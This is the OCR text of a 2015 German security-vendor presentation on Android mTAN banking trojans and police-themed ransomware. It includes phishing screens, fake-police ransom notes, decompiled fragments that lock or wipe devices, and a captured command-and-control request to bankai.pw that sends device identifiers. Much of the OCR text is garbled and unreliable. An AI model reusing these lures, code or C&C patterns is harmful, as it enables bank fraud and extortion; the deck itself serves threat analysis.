SIKARUS

secur ity software

Ransomware und MobileTAN

... Jedes Jahr etwas neues
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Android Malware in Zahlen

1000000
100000 /// _
10000 —PUP

—SMSTrojan
1000 ——— Banking
j —Fake Apps
100 / —Dropper
—Spyware
10 S Py

2011 2012 2013 2014

Neue Samples pro Jahr
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Neue Geschaftsmodelle

v" Neue Android System Policies erschweren SMS Betrug

Flappy Bird would like to send a Flappy Bird would like to send a
message to 8777. message to 8738.

Ihis may cause charges on your @B, 1his may cause charges on your
wle accoumt mobile a unt

g;[,

Remember mv ch

Cancel

Your phone and personal data are

Install blocked more vulnerable to attack by apps

from unknown sources. You agree

For security, your phone is set to that you are solely responsible for
block installation of apps any damage to your phone or loss

obtained from unknown sources. of data that may result from using
these apps.

Cancel

© IKARUS Security Software GmbH 26.02.2015
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Neue Geschaftsmodelle

v" Sehr viele Falle von TAN Betrug / Phishing
v Banken wechseln von TAN Listen zu mTAN

English Veersion | Ihr Investment & FinanzCenter
Leistung aus Leidenschaft.

Deutsche Bank

Herzlich willkommen!

;§| db OnlineBanking H Laden Sie Ihre TAN-Liste als Scan/Foto hoch

Erledigen Sie Ihre taglichen Dies ist eine erweiterte Sicherheitsiiberplifung um Ihre Identitit zu bestétigen. Es wird manuell von einen
Bankgeschéfte flexibel und unseren zustandigen Mitarbeitern Gberprift und freigegeben.

bequem mit unserem Vielen Dank fir Ihre Bemiihen.

db Onlinebanking.
» Rund ums Online-Banking
) Demokento testen

} Konto eroffnen

Inre Mobilfunknummer
Erlaubte Formate: jpg, gif, png

¥ Konto fur Onling- und

Telefonbanking freischatten | Browse... | i
» MobieBanking

7 | vitke

} Haufig gestelte Fragen
b Download-Center

b Nutzeranleitung

} Technischer Support
» Sicherheit

V Norton
SECURED

powered by VeriSign

Uber SSL-Zertifikate

ﬂ Laden Sie lhre TAMN-Liste alz Scan/Foto hoch

Dies ist eine erweiterte Sicherheitsiberpifung um lhre ldentitdt zu bestitigen. Es wird manuell von einen
unseren zustdndigen Mitarbeitern dberprift und freigegeben.
Vielen Dank fir Ihre Bemihen.
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Eurograbber / Perkele (2012)

Fichier Edition Affichage Historique Marque-pages Outils 2.
|(aTrusteer +

€& an usteer.com/Pr

?) Trusteer - Mozilla Firefox

hreatExpert - Submi... k Anubis: Analyzing Un... " YirusTotal - Free Onli... GXyIiBox

Trusteer ice i
Your device is safe
: . Last scan: 1 minute ago
Trusteer Mobile for Android B
This download page is intended for use by online banking users.
Enter your mobile number ta check campatibility and get started.

Choose your preferred way to download the app: Your device is safe

Last scan: 1 minute ago

- Visit this link in your Mobile Browser:

- OR Scan this QR-code: ' i i D

[ F3[s]

Malware Scanner Application Audit

- OR Send an SMS with download link: Send SMS
Web Security Anti-Theft

You Don’t Have Enough Online Security, Your Activation Code is:
But You Should. null

Malware and phishing allow cyber criminals to access your
computer, account numbers, and personal information. It can
take days orweeks for antivirus solutions to detect it, but by then,

ljDémarrgr @8 € > l @ Trusteer - Mozilla Fire... PPERO % WS 1859
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Eurograbber / Perkele (2012)

v" Bisher grof3ter Schadensfalls

v 36 Millionen Euro Schaden

v Etwa 30.000 Konten betroffen

v Abbuchungen zwischen 500 und 250.000€

© IKARUS Security Software GmbH 26.02.2015 10
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Fake Trusteer vs Original

You Don’t Have Enough Online Security,
But You Should.

Malware and phishing allowe cyber criminals to acce:
ceount fudm ] al infarmatio
(5 for ar

i I @ Trusteer - Mozilla Fire...

Mobile Fraud Risk Prevention

With the welcome growth in mobile device usage, organizations must manage the increased

risk associated with the mobile channel. Grganizations looking to mitigate mobile fraud risk
should address complex cross channel attacks and the unique challenges associated with

the mobile channel.

0riginal IBM Security Trusteer Mobile Risk Engine

Conclusive mobile fraud risk detection based on device and account risk factars across online and maobile

channels.

IBM Security Trusteer Mobile SDK

Embedded security library for native mobile apps.

© IKARUS Security Software GmbH 26.02.2015
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Fake Cert (2013)

EV-SSL-Zertifikat

EV-SSL-Zertifikat

Fiir eine kostenlose Authentifizierung geben Sie ‘
bitte lhre Kontonummer und PIN ein
EV-SSL-Zertifikat wurde erfolgreich
Installiert
Kontonummer:
\elte
EV-SSL-Zertifikat 2013 EV-SSL-Zertifikat 2013

© IKARUS Security Software GmbH 26.02.2015
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Fake Token (2013)

Sparkasse Zertifikat

- °
& sparkasse & sparkasse

Sparkasse Zertifikat

geben Sie das Passwort

Passwort bestdtigen

verbinden

# 2377834599

© IKARUS Security Software GmbH 26.02.2015 13
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Fake Token v2 (2014)

@ 5554Analysed @ 5554:Analysed

Sparkasse Sparkasse

In jeder Bezichung cahben die Menschen.

Den neuen Benutzungsvorschriften
gemaR, soll jeder Versuch lhr Bankkonto
einzutreten mit Hilfe Einmalpasswort

verwirklicht sein. Dieses Passwort lhr Passwort:
kénnen Sie mit Hilfe dieses Programm
fur lhr Smartphone generieren. Driicken 216403

Sie ,Passwort generieren” auf und
System wird lhr Einmalpasswort
generieren. Fiillen Sie es in lhrem Online-
Banking ein, wenn es angefragt sein
wird. Dieses Passwort ist nur fiir einen
Versuch verfligbar. Deshalb I6schen Sie
dieses Programm nicht. Ohne es kénnen
Sie nicht Ihr Bankkonto benutzen.

Passwort generieren

© Sparkasse © Sparkasse

© IKARUS Security Software GmbH 26.02.2015
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Fake-Textsecure (2014 - heute)

@sssaeanaysed (| ool g 5554Analyse_

© Sparkasse SmsSecurity = @ Sparkasse SmsSecurity —|—
&
ERSTES SPARKASSESS 5 Generate password
SmsSecure - Quick Start Guide
@ s3noect I = == 58
Qparkasse It will be offered a free mobile application m
C;L oS t that was developed by our IT ¢ @ Sparkasse SmsSecurity
>MSsecurity professionals and combines all modern ’
development in the field of safety
SPARKASSE S
SmsSecure is a mobile application for FER. I
generation one-time password for access
to your account. At the same time, you can
encrypt with SmsSecure incoming sms y o
and store in the crypto container and SHORESRWOIC
secure. This guarantees the highest safety 475489
level.
Follow the instructions in the SmsSecure
Wizard. In the program you will find a
menti item where voll can nenerate a
| have read the Quick Start
Guide. Continue.
© Sparkasse
© Sparkasse
© IKARUS Security Software GmbH 26.02.2015 15
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Infektion mit FakeTextsecure

Bank Austria e o % UniCredit

In Zusammenhang mit der Modernisierung des Sicherheitzsystems kann von Ihnen beim Einloggen ins Benutzerkonto eine
zusatzliche ldentifizierung angefordert werden. Lim lhr Konto weiterhin benutzen zu kinnen, widrden wir Sie einmalig bitten,
unsere Applikation fir Smartphones auf Thr Mobiltelefon zu installieren, das zo lhrem Kaonto hinzugefiat ist. Ohne Installation
der maohilen Applikation wird der Zugang zum Konto gesperrt. Wir danken fir Ihr Yerstandnis.

© IKARUS Security Software GmbH 26.02.2015
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Infektion mit FakeTextsecure

CnlineBanking | Businesshle

Werflgernummer Wichtige Sicherheitshinweise

| : Die Login-Seiten der Bank Austria werden verschlisselt dbertragen und beginnen
FIM daher mit hitpsdl. Kontrollieren Sie vor dem Login immer ob als Inhaber des
| Sicherheitzzedifikates "UniCredit Bank Austria AG"

angezeigt wird und die
Adresszeile des Browsers grin hinterlegt ist.

© IKARUS Security Software GmbH 26.02.2015
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Infektion mit FakeTextsecure

Bitte warten...

00:02:56

© IKARUS Security Software GmbH 26.02.2015 18
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Infektion mit FakeTextsecure

v#Bank Austria e o 2 UniCredit

Installation der Mobil-Applikation. Schritte 1:

Gemali den neuen Benutzungsvorschritten, muss jeder Login-Yersuch unterYerwendung wvon einem Einmalpasswart
erfolgen. Deshalb sollten Sie das Programm auf lhrem Mobiltelefon installieren. Dieses Programm generiert
Einmalpasswirter flir den Zugana 2u hrem Online-Banking. Im Sinne der Erhdhung der Sicherheitist dieser Vargang fir
jeden Kunden ohligatorisch. Wir danken fir Ihr Yerstandnis.

Zum Installieren der Applikation auf Ihrem Telefon missen Sie folgende Schritte ausfithren:

1. Geben Sie das Betriehssystems [hres Mobiltelefons (android, i0S oderVyindows Phone) ein

2. Geben Sie lhre Mohilfunk-FMummer ein. Legen Sie dabei hitte hesonderen Augenmerk auf die Richtigkeit der Eingahe.
Diese Mummer sollte unbedingt mit der beim Online-Banking eingetragenen Mummer dbereinstimmen. Anderenfalls kann

die Applikation nicht installief werden. In einigen Minuten erhalten Sie eine kostenlose SMS mit dem Link zurm Installieren
der mohilen Applikation.

Betriebssystems: |- \Wihlen Sie ein Betriehssystem [l]
Mobilenummer : | Osterreich (+43) [+ |

[ weiter |

© IKARUS Security Software GmbH 26.02.2015
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Infektion mit FakeTextsecure

Bank Austria 1o 2 UniCredit

Installation der Mobil-Applikation. Schritte 2:
1. Installieren Sie die mohbile Applikation auf lhrem Telefon und starten Sie diese.

2. Darauthin erhalten Sie die Moglichkeit das Einmalpasswart fir den Zugang zu lhrem Konto zu generieren. Klicken Sie auf
LFasswort generieren” fiir die Generierung des Passwortes.

3. Gehen Sie das generierte Passwort auf dieser Seite ein und klicken Sie auf Weiter'.

lch hiabe keine SM3 mit dem Link erhalten.

Einmaliges Passwort, das von der mobilen |
Applikation generiert worden ist:

[ wieiter |

© IKARUS Security Software GmbH 26.02.2015
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Infektion mit FakeTextsecure
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Infektion mit FakeTextsecure

#Bank Austria ..o %2 UniCredit

Privatkunden  Firmenkunden & Freie Berufe  Private Banking  Uber uns

Mobile Applikation

Wielen Dank fir die Installation der Maohil-Applikation. Thre Angahen wurden bestatiot.
Won Zeit zu Zeit fragen wir die einmaligen Passwirter, die mit der Mobile Applikation generiert wurden, erneut an.

Wichtig: Entfernen Sie die Mobil-Applikation MICHT von lThrem Smartphone, anderenfalls verlieren Sie den Zugang zu lhrem Account!

Lim die Arbeit fortzusetzen, starten Sie lhren Browser erneut,

Sicherheitsportal MobileBanking App MobileBanking via Browser Noch kein OnlineBanking?
EEEA GB
A =
= @ s R
Wichtine Informationen fiir sicheres Banking wo und wann Sie wallen. Mit Die Web-Yersion fir Smartphones ohne Genielien Sie mehr Freiheit mit
CnlineBanking. unserer MaohileBanking App. App. unseren Online-Semices.
letzt infarmieren letzt infarmieren letzt einloggen letzt registrieren

© IKARUS Security Software GmbH 26.02.2015
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@ AKB SmsSecurity

[ oo
Kantonalbank

SmsSecure - Quick Start Guide

It will be offered a free mobile application
that was developed by our IT
professionals and combines all modern
development in the field of safety

ure is a mobile appli for
generation one-time password for access
to your account. At the same time, you can
encrypt with SmsSecure incoming sms
and store in the crypto container and
secure. This guarantees the highest safety
level.

Follow the instructions in the SmsSecure
Wizard. In the program you will find a
menu item, where you can generate a

| have read the Quick Start
Guide. Continue.

© AKB

Jede B

ank ist betroffen

(@ s5544nsiet |

@ CreditSuisse SmsSecurity

CREDITSL ms‘
SmsSecure - Quick Start Guide

It will be offered a free mobile application
that was developed by our IT
professionals and combines all modern
development in the field of safety

is a mobile ication for
generation one-time password for access
to your account. At the same time, you can
encrypt with SmsSecure incoming sms
and store in the crypto container and
secure. This guarantees the highest safety
level.

Follow the instructions in the SmsSecure
Wizard. In the program you will find a
menu item, where you can generate a
unique password. At the same time

| have read the Quick Start
Guide. Continue.

© Credit Suisse

e GKB SmsSecurity

() Grnindner
K Kantonalbank

SmsSecure - Quick Start Guide

It will be offered a free mobile application
that was developed by our IT
professionals and combines all modern
development in the field of safety

is a mobile application for
generation one-time password for access
to your account. At the same time, you can
encrypt with SmsSecure incoming sms
and store in the crypto container and
secure. This guarantees the highest safety
level.

Follow the instructions in the SmsSecure
Wizard. In the program you will find a
menu item, where you can generate a
unique password. At the same time

| have read the Quick Start
Guide. Continue.

© GKB

G LUKB SmsSecurity

( Luzerner
Kantonalbank
SmsSecure - Quick Start Guide

It will be offered a free mobile application
that was developed by our IT
professionals and combines all modern
development in the field of safety

is a mobile ication for
generation one-time password for access
to your account. At the same time, you can
encrypt with SmsSecure incoming sms
and store in the crypto container and
secure. This guarantees the highest safety
level.

Follow the instructions in the SmsSecure
Wizard In the nraaram von will find a

| have read the Quick Start
Guide. Continue.

© Luzerner Kantonalbank

© ZKB SmsSecurity

Zarcher
Kantonalbank

SmsSecure - Quick Start Guide

It will be offered a free mobile application
that was developed by our IT
professionals and combines all modern
development in the field of safety

is a mobile ication for
generation one-time password for access
to your account. At the same time, you can
encrypt with SmsSecure incoming sms
and store in the crypto container and
secure. This guarantees the highest safety
level.

Enllaw tha inetristinne in tha @maeCaniira

| have read the Quick Start
Guide. Continue.

© ZKB

@ BankAustria SmsSecurity

7#Bank Austria

SmsSecure - Quick Start Guide

It will be offered a free mobile application
that was developed by our IT
professionals and combines all modern
development in the field of safety

re is a mobile ication for
generation one-time password for access
to your account. At the same time, you can
encrypt with SmsSecure incoming sms
and store in the crypto container and
secure. This guarantees the highest safety
level.

Follow the instructions in the SmsSecure
Wizard. In the program you will find a
menu item, where you can generate a
nninne nassword At the same tima

| have read the Quick Start
Guide. Continue.

© Bank Austria

© IKARUS Security Software GmbH

Raiffeisen
Meine Bank

Sm e art G

It will be offered a free mobile application

< cureisam
generation one-tir
to your acco
e incoming
ontainer and

| have read the Quick Start
Guide. Continue.

@ Sparkasse SmsSecurity

o S s Mt
SmsSecure - Quick Start Guide

It will be offered a free mobile application
that was developed by our IT
professionals and combines all modern
development in the field of safety

is a mobile ication for
generation one-time password for access
to your account. At the same time, you can
encrypt with SmsSecure incoming sms
and store in the crypto container and
secure. This guarantees the highest safety
level. x

Follow the instructions in the SmsSecure
Wizard. In the program you will find a
menii item where voii can aenerate a
| have read the Quick Start
Guide. Continue.

© Sparkasse
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Hesperbot (2014 — heute)

Activation
Please enter your Activation Code
Activation Code:

WIDGETS

Response Code:

. B :

Activation APl Demos
_ «~‘
- | -— 1
823 "F‘ - -

Calendar Camera

© IKARUS Security Software GmbH 26.02.2015
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Hesperbot special features

public CharSequence onDisableRequested(Context paramContext, Intent paramIntent

String strl
if (Cache.instance null

DatabaseAdapter localDatabaseAdapter = new DatabasefAdapter(paramContext
new Cache(paramContext
localDatabaseAdapter.loadCache

if (Cache.getInstance().isContainsSetting

1l.EncodeThis("uninstall replace

r2 ti 1ns
r2 string(@, -1 + str2.length

U

DevicePolicyManager localDevicePolicyManager DevicePolicyManager )paramContext.getSystemService
if IS5 SELF_DEACTIVATION stril.length 8

localDevicePolicyManager.resetPassword(strl
IS UNINSTALLING true

localDevicePolicyManager. lockNow

return "Do yo

© IKARUS Security Software GmbH 26.02.2015 25
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Ransomware

METROPOLITAN

POLICE

Attention!!!
poltan Polce Service and Stratheolde Polce nvastigation y ompater 5 ockad

The process of Begal activty 5§ detected. Accordng to UK Bw and Metr

The following viobtion & detected: you IP-address Forbidden websites contaning pomography, child pornography, Sodomy and called viokence against chidren on, violent
rateral toward people were visked from ths P-address!

Moreover and e-mall spam was sent you're your computer, e-malls contaning terroristic materials. This locking serves to stop your llegal activity.

To release a lock your computer you should pay the fine in

amount of £ 100, In the case of ignoring the payment, the @kash Where can I buy Ukash?
PYC . \""l remn.u 5 i_llegal materials while keeping your You could buy Ukash in many places, for example: shops, Stalls, Stand-alone terminals,
personal information is not guaranteed. on-line or through E-Waliet (electronic cash). Below you could find the list of point of sale

Ukash in your country.
@ Epay - you could buy Ukash in thousands of supermarkets or Call-Shops which
1) Paying through Ukash: have this logo.
opcy)

Use the code recerved for this purpose. Enter it in the space for payment and dick OK PavPoint - Point
(i you have more than one code, enter them one after ancther and then ciick OK). g = U} Wivraver you 808 the Puy o

You could pay the forfeit in two ways:

2 1he ; s ‘ - o Payzone - Ukash avadable from Payzone terminals around the UK.
surchasge@oybee-motropokitan-police co uk o

Inpay - You can get 3 Ukash voucher in values from £10 - £500 and pay
2) Paying through Paysafecard: iI;);y\ using your internet bank.
Use the code (and a password if needed) received for this purpose. Enter R in the ——
space for payment and click OK (if you have more than one code, enter them one OK
after another and then dick 0K). ﬂpagsale

PN pay sete

surcharge@cyber- metropolitan-police, co.uk oK |

© IKARUS Security Software GmbH 26.02.2015
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IKARUS PoC

Live Demo

© IKARUS Security Software GmbH 26.02.2015
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Bundesamt fur Sicherhelt in der Informationstechnik )
s =/
Geselischaft zur Verfigung von Tty &

Urheberrechtsverletzungen e V. 1 Gb

BundesKriminatamt -

Land: Germ:

Bereich:
Stadt

WARNUNG! Zugang von lhrem Telefon wurde vorlaufig aus den
unten aufgelisteten Griinden gesperrt.
Alle Tatigkeiten, die auf diesem Telefon durchgefiihrt werden,
werden fixiert.
Alle Ihre Dateien sind verschliisselt.

Ihnen wird die Ansicht/Lagerung und/oder den Vertrieb von pornographischem
Material von verbotenen Inhalte (Kinderpornografie/Zoophilie/Vergewaltigung, etc.)
vorgeworfen. Sie haben die Allgemeine Erklarung zur Bekampfung der Verbreitung von
Kinderpornographie verletzt wegen einer Straftat nach Artikel 161 des
Strafgesetzbuches der Bundesrepublik Deutschland

Artikel 161 des Strafgesetzbuches der Bundesrepublik Deutschland sieht eine
Freiheitsstrafe von 5 bis 11 Jahren in solchen Fallen vor.

Auch werden Sie der Verletzung des "Gesetz iiber Urheberrecht und verwandte
Schutzrechte” (Herunterladen raubkopierter Musik, Videos oder unlizenziertes
Software) verdachtig, und die Verwendung und /oder Weitergabe einzelner Inhalte, die
urheberrechtlich geschiitzt sind. Auf diese Weise haben Sie vermutlich Artikel 148 des
Strafgesetzbuches der Bundesrepublik Deutschland verletzt.

Artikel 148 des Str: buches der Bur P D sieht eine
GeldbuBe in Héhe von 150 bis 550 heiten oder einer Freih afe von 3 bis
7 Jahren vor.

Von lhrem Telefon wurde nicht autorisierter Internetzugriff zu den Informationen des
eingeschréankten Zugangs zur Offentlichkeit sowohl zu den geheimen Staatsakten
vorgenommen.

© IKARUS Security Software GmbH

-
PYLITIE

Korps Landelijke Politiediensten
Openbaar Ministerie
CYBERCRIME POLITIE NEDERLAND

S

Land: Netherlands

Regi
City:

ATTENTIE! Uw telefoon wordt geblokkeerd om
veiligheidsoverwegingen wegens de hieronder aangegeven
redenen.

Alle op deze telefoon uitgevoerde activiteiten zijn opgetekend.
Al uw bestanden zijn gecodeerd.

U wordt beschuldigd van het gebruik/opslaan en/of verspreiden van de
pornografische productie wier inhoud wettelijk verboden is
(kinderporno/zodfilie/verkrachting etc.). Hiermee heeft u de voorwaarden van de
Internationale Declaratie over de bestrijding van kinderporno geschonden en daardoor
wordt u beschuldigd van het plegen van een strafbaar feit waarvan artikel 161 van het
Wetboek van Strafrecht van het Koninkrijk der Nederlanden van toepassing is.

De misdrijven van deze aard worden volgens artikel 161 van het Wetboek van
Strafrecht van het Koninkrijk der Nederlanden gestraft met de vrijheidsontneming voor
de duur van 5 tot 11 jaar.

Daarnaast wordt u ook verdacht van het schenden van de "Wet inzake het auteursrecht
en naburige rechten” (het illegale downloaden van muziek, video, het gebruik van
ongelicenseerde software) en van het gebruik maken van en/of verspreiden van de
content waarop het auteursrecht rust. Daardoor wordt u verdacht van schenden van
artikel 148 van het Wetboek van Strafrecht van het Koninkrijk der Nederlanden

Volgens artikel 148 van het Wetboek van Strafrecht van het Koninkrijk der Nederlanden
worden de misdrijven van deze aard gestraft met het opleggen van de geldboete ter
waarde van 150 tot 550 van de b de of met de vrijheid voor de
duur van 3 tot 7 jaar.

26.02.2015

BaDoink

Mandiant U.S.A. Cyber Security
FBI. Department of Defense
U.S.A. Cyber Crime Center

Country: United States

Regi
City:

ATTENTION!
Your phone has been blocked up for safety reasons listed
below.
All the actions performed on this phone are fixed.
All your files are encrypted.
CONDUCTED AUDIO AND VIDEO.

You are accused of viewing/storage and/or d i of banned por
(child pornography/zoophilia/rape etc). You have violated World Declaration on non-
proliferation of child pornography. You are accused of committing the crime
envisaged by Article 161 of United States of America criminal law.

Article 161 of United States of America criminal law provides for the punishment of
deprivation of liberty for terms from § to 11 years.

Also, you are suspected of violation of "Copyright and Related rights Law"
(downloading of pirated music, video, warez) and of use and/or dissemination of
copyrighted content. Thus, you are suspected of violation of Article 148 of United
States of America criminal law.

Article 148 of United States of America criminal law provides for the punishment of
deprivation of liberty for terms from 3 to 7 years or 150 to 550 basic amounts fine.

It was from your phone, that unauthorized access had been stolen to information of
State importance and to data closed for public Internet access

Unauthorized access could have been arranged by yourself purposely on mercenary
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Koler heute...

BaDoink isn't responding.

Do you want to close 1t?

Wait (0],4
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FBI Locker

’_ Activate device administrator?

L Adobe Flash Player

Android runtime libs importing
Action requ ired. To continue, click "Activate".

This operation can't be cancelled.

This is system application.

Activating this administrator will allow the

You must acti"u’ate dE"u"iCE adminiﬁtatﬂr. app Adobe Flash Player to perform the

following operations:

e Set storage encryption
Require that stored app data be
encrypted.

Cancel Activate

© IKARUS Security Software GmbH 26.02.2015
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Scan in progress
Images folder...

Status: No violations

Found 5 Violations

Found 7 Prohibited content

© IKARUS Security Software GmbH

FBI Locker

FBI Criminal Investigation

#000000000000000

Hellown Anonymous Device for
x86

15555215554
Android
Us

This device is locked due to the
violation of the federal laws of
the United States of America:

* Article 161

* Article 148

Your device was used to visit
websites containing
pornography.

Following violations were
detected:

* Child pornography

* Zoophilia pornography

* Child abuse

* Bulk-spamming

Your device also contains:

* Video files with pornographic content

* Elements of violence

* Child pornoaraphy

26.02.2015
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FBI Locker

Your device also contains:
* Video files with pornographic content
* Elements of violence
* Child pornography
* Messages with terrorist motives were

also sent from your device

This device lock is aimed to
stop your illegal activity.

© IKARUS Security Software GmbH 26.02.2015

However, is a matter of whether you
have paid the fine to the Treasury
(to the affect of initiatives aimed at
protection of cyberspace).

The penalty set must be paid in

course of 48 hours as of the breach.

On expiration of the term, 48 hours
that follow will be used for
automatic collection of data on
yourself and your misconduct, and
criminal case will be opened
against you.

WE TlLTE
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© IKARUS Security Software GmbH

FBI Locker

Amount of fine is $500.

You can settle the fine with MoneyPak
express Packet vouchers.

As soon as the money arrives to the
Treasure account, your device will be
unblocked and all information will be
decrypted in course of 24 hours.

Where i can buy MoneyPak?

MoneyPak voucher code

1 2 3
4 5 6
7 8 9
0
Alan.
26.02.2015
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’—__ Activate device administrator?

L Adobe Flash Player

Android runtime libs importing
To continue, click "Activate".

This operation can't be cancelled.

Activating this administrator will allow the
app Adobe Flash Player to perform the
following operations:

e Erase all data
Erase the phone's data without
warning by performing a factory
data reset.

Set storage encryption

Require that stored app data be
encrypted.

Cancel Activate

© IKARUS Security Software GmbH

Cryptolocker

33 http://bankai.pw GET /gnu9/gate_php?a=1&b=0000000... ]

Request | Response

191 HTML  php

Raw | Params | Headers @

Host: bankai.pw
Connection: Feep-Alive
Aceept-Encoding: gzip

case 1979932881
if (!w37.equals("sendsms™

else

new com.sysm.c().a(v11l[1].replace("P", "+").replace("p"

break

case 1557372922
if (!v37.equals(“destroy”

else

this.a.getSystemService( "device_policy”

break

26.02.2015

oy

GET /gnuS/gate.php?a=1&b=000000000000000&c=Android&d=us&ee=155552155544f=0.43ag=4.3aprefiv=private HTTP /1.1
User-Agent: Dalvik/1l.€.0 (Linux; U; Android 4.3; Anonymous Device for %86 Build/JSS15J)

v11[2].replace(™ "

wipeData(®
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Cryptolocker

v' C&C Strukturen
v' SMS und HTTP Control
v' Kann das Gerat sperren und léschen

v" Eine Version funktioniert immer nur kurze Zeit
— Es wird erst auf den C&C Server gewartet

© IKARUS Security Software GmbH 26.02.2015 35
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Simplelocker

BHumaHee Baw TenedoH
3a6n10KupoBaH!
. YcTpoicTBO 32a610KUPOBAHO 32
Sex xonix NPOCMOTP U pacnpocTpaHeHue
AeTCKoM nopHorpadum,

300pMNUN U APYrux U3BpaLLeHUNn.

[na pa36i0KMpoOBKK BaM HEOBX04MMO
onnatutb 260 pH.
1. Hamgute 6nvxanwmii TepMmuHan
MOMOJIHEHUS CYeTa.
2. B Hem HanpuTe MoneXy.
3. Beegute 380982049193.
4. BHecuTe 260 rpMBeH KM HAXXMUTE ONIaTUTb.

He 3abyaTe B3ATb KBUTAHLMIO!
lNocne nocTynneHya onnartbl Balle
ycTpoucTBO 6yaeT pa36oKMpoBaHoO B
TeyeHuu 24 4acos.
B CITYYAWM HE YNJ1ATbI Bbl MOTEPAETE HA
BCErOA BCE JAHHBIE KOTOPLIE ECTb HA
BALUEM YCTPOWTBE!

Ziel: Ukraine
260 UAH (~16€) mittels MoneXy zu bezahlen

Alle Mediendateien auf der SD Karte werden
Verschlisselt

Kommunikation mittels TOR

26.02.2015
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ALL INFORMATION LISTED BELOW SUCCESSFULLY UPLOADED ON
THE FBICYBER CRIME DEPARTMENT'S DATACENTER

IN THE CASE OF NON-FAYMENT OF THE PENALTY WITHIN THE
SPECIFIED PERIOD, YOUR PERSONALTY WILL BE IDENTIFIED BASED
ON THE AVAILABLE DATA OBTAINED FROM YOUR DEVICE. IN
ACCORDANCE WITH THE LAWS OF THE UNITED STATES OF AMERICA,
YOUR RELATIVES AND CLOSE ASSOCIATES WILL BE INFORMED BY
THE AUTHORIZED FBI AGENTS.

IMEI: 000000000000000
PHONE: 15555215554
MODEL: HELLOWN ANONYMOUS DEVICE FOR X386
NETWORK: ANDROID
COUNTRY: US
FOUND PORNOGRAPHY

-.

© IKARUS Security Software GmbH

Porn Locker

DEPARTMENT OF JUSTICE

FEDERAL BUREAU OF INVESTIGATION

FBI HEADQUARTERS
WHASHINGTON DC DEPARTMENT, USA

AS A RESULT OF FULL SCANMING OF YOUR DEVICE, SOME
SUSPICIOUS FILES HAVE BEEN FOUND AND YOUR ATTENDANCE
OF THE FORBIDDEN PORNOGRAPHIC SITES HAS BEEN FIXED.
FOR THIS REASON YOUR DEVICE HAS BEEN LOCKED.

INFORMATION ON YOUR LOCATION AND SNAPHOTS
CONTAINING YOUR FACE HAVE BEEN UPLOADED ON THE FBI
CYBER CRIME DEPARTMENT'S DATACENTER.

FIRST OF ALL, FAMILIARISE WITH THE POSITIONS STATED IN
SECTION "THE LEGAL BASIS OF VIOLATIONS". ACCORDING TO
THESE POSITIONS YOUR ACTIONS BEAR CRIMINAL CHARACTER,
AND YOU ARE A CRIMINAL SUBJECT. THE PENALTY AS A BASE
MEASURE OF PUNISHMENT ON ¥YOU WHICH YOU ARE OBLIGED
TO PAY IN A CURRENT OF THREE CALENDAR DAYS IS IMPOSED.

THE s1ZE oF THE PENALTY 1s $500.00

ATTENTION! DISCONNECTION OR DISPOSAL OF THE DEVICE OR
YOUR ATTEMPTS TO UNLOCK THE DEVICE INDEPENDENTLY WILL
BE APPREHENDED AS UNAPPROVED ACTIONS INTERFERING THE
EXECUTION OF THE LAW OF THE UNITED STATES OF AMERICA
(READ SECTION 1509 - OBSTRUCTION OF COURT ORDERS AND
SECTION 1510 - OBSTRUCTION OF CRIMINAL INVESTIGATIONS).
IN THIS CASE AND IN CASE OF PENALTY NON-PAYMENT IN A
CURRENT OF THREE CALENDAR DAYS FROM THE DATE OF THIS

26.02.2015

FEDERAL BUREA OF WVESTIGAION

=

FBI MISSION

AS AN INTELLIGENCE-DRIVEN AND A THREAT-FOCUSED
NATIONAL SECURITY ORGAMIZATION WITH BOTH INTELLIGENCE
AND LAW ENFORCEMENT RESPONSIBILITIES, THE MISSION OF
THE FBIIS TO PROTECT AND DEFEND THE UNITED STATES
AGAINST TERRORIST AND FOREIGN INTELLIGENCE THREATS, TO
UPHOLD AND ENFORCE THE CRIMINAL LAWS OF THE UNITED
STATES, AND TO PROVIDE LEADERSHIP AND CRIMINAL JUSTICE
SERVICES TO FEDERAL, STATE, MUNICIFAL, AND
INTERNATIONAL AGENCIES AND PARTNERS.

PRISM 1S A GOVERNMENT CODE NAME FOR A DATA-COLLECTION
EFFORT KNOWRN OFFICIALLY BY THE SIGAD US-984XN. THE
PRISM PROGRAM COLLECTS STORED INTERNET
COMMUMICATIONS BASED ON DEMANDS MADE TO INTERNET
COMPANIES SUCH AS GOOGLE, MICROSOFT, FACEBOOK, YAHOO,
APPLE, SYMANTEC, AVAST, MCAFEE, AVG UNDER SECTION 702
OF THE FISA AMENDMENTS ACT OF 2008 TO TURN OVER ANY
DATA THAT MATCH COURT-APPROVED SEARCH TERMS.
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Porn Locker

v FBILocker + Kinderpornografie

- Activate device administrator?

Porn :
PornDroid

v" Varianten verwenden alle
das gleiche "Ransomware SDK”

* ) Torun the application - activate

(a
\
P

Activating this administrator will allow the
app PornDroid to perform the following
operations:

e Set storage encryption

Require that stored app data be
encrypted.

Cancel Activate

© IKARUS Security Software GmbH 26.02.2015




SIKARUS

secur ity software

Aktuelle Probleme fur Malware Entwickler

258 -
. MON. OCTOBER 20 -

android_updater.apk

— Download com P lete.

© IKARUS Security Software GmbH 26.02.2015 39
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Aktuelle Probleme fur Malware Entwickler

Your phone and personal data are
more vulnerable to attack by apps
from unknown sources. You agree
that you are solely responsible for

any damage to your phone or loss
of data that may result from using
these apps.

Cancel

© IKARUS Security Software GmbH 26.02.2015 40
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Aktuelle Probleme fur Malware Entwickler

@ Jelly Bean Updater

Do you want to install this
application? It will get access to:

PRIVACY

&. read phone status and identity

E read your text messages (SMS or
MMS)

receive text messages (SMS)

send SMS messages
® this may cost you money

Q'. create accounts and set
passwords

find accounts on the device

Cancel Install

© IKARUS Security Software GmbH 26.02.2015
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Aktuelle Probleme fur Malware Entwickler

pwhnloads Email File Explo

[
Sestures Jelly Bean Messagi
Builder Updater

f %

N

© IKARUS Security Software GmbH 26.02.2015 42
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Aktuelle Probleme fur Malware Entwickler

’_ Activate device administrator?

- Jelly Bean Updater
bl

Please enable for updating!

Activating this administrator will allow the
app Jelly Bean Updater to perform the
following operations:

e Erase all data
Erase the phone's data without
warning by performing a factory
data reset.

Change the screen-unlock

password
Change the screen-unlock
password.

Set password rules
Control the length and the
characters allowed in screen-
unlock passwords.

Cancel Activate

© IKARUS Security Software GmbH 26.02.2015
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Neue Probleme

v Kriminelle kaufen ein Malware-SDK ein
v Bauen es in ihre Betrugsmasche ein

v" Der Kriminelle von heute muss nichts mehr
programmieren!

v Malware SDK ab 1000% zu kaufen
v Neue Varianten sind viel schneller und kirzer im Umlauf

© IKARUS Security Software GmbH 26.02.2015 45
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W ANMAHUCTPETHBHLIA pasaer X

